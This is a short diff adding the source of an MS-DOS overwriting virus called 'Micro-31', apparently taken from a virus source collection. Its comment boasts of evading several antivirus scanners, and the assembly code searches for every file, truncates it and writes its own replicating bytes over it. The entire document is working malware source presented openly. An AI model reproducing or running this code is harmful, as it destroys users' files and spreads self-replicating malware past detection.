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MSDOS/Virus.MSDOS.Unknown.ow9.asm

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+;
+; Micro-31
+;
+; Infects as many files as there are handles aveable. It creates 158 byte
+; file containing a replicating copy of the virus. The effective program
+; length however is only 31 bytes. It can't be detected by Scan 99, TbScan
+; and Gobbler II.
+;
+
+FNAM            Equ 09eh
+
+Main:           Mov Ah,4eh
+Seek:           Lea Dx,FileSpec
+                Xor Cx,Cx
+                Int 21h
+Do:             Mov Ah,3ch
+                Lea Dx,FNAM
+On2:            Int 21h
+FileSpec        Db '*.*',0
+                Xchg Dx,Cx
+                Mov Bh,40h
+                Xchg Ax,Bx
+                Int 21h
+                Mov Ah,4fh
+                Jmp Seek
+Length          Equ $-Main